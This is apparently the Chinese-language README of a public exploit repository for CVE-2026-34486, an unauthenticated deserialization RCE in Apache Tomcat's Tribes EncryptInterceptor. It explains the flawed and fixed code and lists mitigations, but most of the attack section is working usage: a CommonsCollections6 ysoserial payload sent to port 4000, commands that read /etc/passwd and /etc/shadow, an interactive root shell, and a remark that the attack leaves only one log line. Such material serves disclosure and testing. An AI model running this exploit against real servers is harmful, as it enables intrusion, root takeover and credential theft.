Apache Tomcat Tribes 集群通信模块在
EncryptInterceptor解密失败时未能丢弃消息,允许未认证攻击者通过 Java 反序列化在 4000 端口触发远程代码执行。
| 字段 | 信息 |
|---|---|
| CVE ID | CVE-2026-34486 |
| CVSS 评分 | 7.5(高危) |
| 组件 | Apache Tomcat Tribes EncryptInterceptor |
| 受影响版本 | 9.0.0.M1 – 9.0.116 / 10.1.0-M1 – 10.1.53 / 11.0.0-M1 – 11.0.20 |
| 修复版本 | 9.0.117 / 10.1.54 / 11.0.21 |
| 漏洞类型 | 未认证远程代码执行(反序列化) |
| 攻击向量 | 网络 / 无需认证 / 低复杂度 |
| 攻击端口 | TCP 4000(Tribes NioReceiver) |
Apache Tomcat 的集群功能使用 Tribes 框架在集群节点之间同步会话数据,默认监听 TCP 4000 端口。
当启用 EncryptInterceptor(AES/CBC)时,存在以下逻辑缺陷:
// EncryptInterceptor.java — 存在漏洞的版本
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 处理解密后的消息...
} catch (Exception e) {
log.error("Failed to decrypt message", e); // 仅记录错误日志
}
super.messageReceived(msg); // ← 漏洞:解密失败后原始字节仍被转发
}
catch 块仅记录错误日志。由于 super.messageReceived(msg) 位于 try-catch 之外,原始未加密字节会被转发至 XByteBuffer.deserialize() → ObjectInputStream.readObject()。
攻击者无需任何认证即可发送精心构造的反序列化载荷触发 RCE。
攻击者 ──TCP:4000──► NioReceiver(无认证)
│
EncryptInterceptor.messageReceived()
try { AES/CBC 解密 → IllegalBlockSizeException }
catch{ log.severe("Failed to decrypt") } ← 仅记录日志
super.messageReceived(msg) ← 漏洞:原始字节被透传
│
GroupChannel → XByteBuffer.deserialize()
│
ObjectInputStream.readObject() ← 触发反序列化
│
CommonsCollections6 利用链
│
Runtime.exec() → 以 root 权限执行 RCE 🔴
修复方案将 super.messageReceived(msg) 移入 try 块内部,使任何解密失败都会导致消息被静默丢弃(fail-closed)。
// EncryptInterceptor.java — 已修复版本
public void messageReceived(ChannelMessage msg) {
try {
byte[] decrypted = decrypt(msg.getMessage().getBytes());
// 处理...
super.messageReceived(msg); // ← 已修复:仅当解密成功时才执行
} catch (Exception e) {
log.error("Failed to decrypt message", e); // 消息被丢弃
}
}
java 和 javac 需在 PATH 中)ysoserial-all.jarapache-tomcat-9.0.116(用于 Tribes 库)docker run -d \
--name tomcat-cve-2026-34486 \
-p 8080:8080 \
-p 4000:4000 \
nowday3/cve-2026-34486:latest
# 验证
curl http://localhost:8080
# exp
git clone https://github.com/404-src/CVE-2026-34486
cd CVE-2026-34486/
# ysoserial
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
# Tomcat 9.0.116(用于 Tribes 库)
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.116/bin/apache-tomcat-9.0.116.tar.gz
tar xzf apache-tomcat-9.0.116.tar.gz
cp apache-tomcat-9.0.116/bin/tomcat-juli.jar apache-tomcat-9.0.116/lib/
python3 exp.py -t 127.0.0.1 -p 4000 -c "touch /tmp/pwned"
# 验证
docker exec tomcat-cve-2026-34486 ls -la /tmp/pwned
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
# 输出: uid=0(root) gid=0(root) groups=0(root)
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/passwd"
python3 exp.py -t 127.0.0.1 -p 4000 --rce "cat /etc/shadow"
python3 exp.py -t 127.0.0.1 -p 4000 --shell
# [email protected]$ id
# [email protected]$ hostname
# [email protected]$ exit
python3 exp.py -t 127.0.0.1 -p 4000 --rce "id" \
--ysoserial ./ysoserial-all.jar \
--tomcat-lib ./apache-tomcat-9.0.116/lib
-t, --target 目标 IP(默认: 127.0.0.1)
-p, --port Tribes 端口(默认: 4000)
--http-port 用于获取输出的 HTTP 端口(默认: 8080)
-c, --command 直接执行命令(无 Shell 特性)
--rce 执行命令并通过 HTTP 获取输出
--shell 交互式 Shell 模式
-g, --gadget 利用链(默认: CommonsCollections6)
--ysoserial ysoserial jar 路径
--tomcat-lib Tomcat lib 目录路径
$ python3 exp.py -t 127.0.0.1 -p 4000 --rce "id"
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═══██╗╚════██╗██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║ ██║ █████╔╝███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ██║▄▄ ██║██╔═══╝ ██╔══██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗╚██████╔╝
34486
Apache Tomcat EncryptInterceptor 绕过 → 反序列化 → RCE
目标 : 127.0.0.1:4000
利用链 : CommonsCollections6
[*] 编译 TribesClient.java ...
[+] 编译成功
[*] 生成 CommonsCollections6 载荷 ...
[+] 载荷: 1361 字节
[*] 发送 Tribes 帧 → 127.0.0.1:4000
[tribes] frame=1496B cdBytes=1478B
[+] 帧已发送!
[*] 获取结果: http://127.0.0.1:8080/.out.txt
uid=0(root) gid=0(root) groups=0(root)
攻击留下的唯一日志痕迹:
SEVERE [Tribes-Task-Receiver[Catalina-Channel]-1]
org.apache.catalina.tribes.group.interceptors.EncryptInterceptor.messageReceived
Failed to decrypt message
javax.crypto.IllegalBlockSizeException: Input length must be multiple of 16
when decrypting with padded cipher
不会记录 readObject 异常——命令在静默状态下执行。
| 措施 | 优先级 |
|---|---|
| 升级至 Tomcat 9.0.117 / 10.1.54 / 11.0.21 | 紧急 |
| 将 4000 端口限制为仅受信任的集群 IP | 高 |
监控日志中重复出现的 Failed to decrypt message | 中 |
| 如不需要则禁用 Tribes 集群功能 | 高 |
本项目仅用于授权的安全研究、渗透测试和教育目的。 请勿将此工具用于您不拥有或未经明确授权测试的系统。 作者不对因使用本工具造成的任何滥用或损害承担责任。
MIT License © 2026 404-src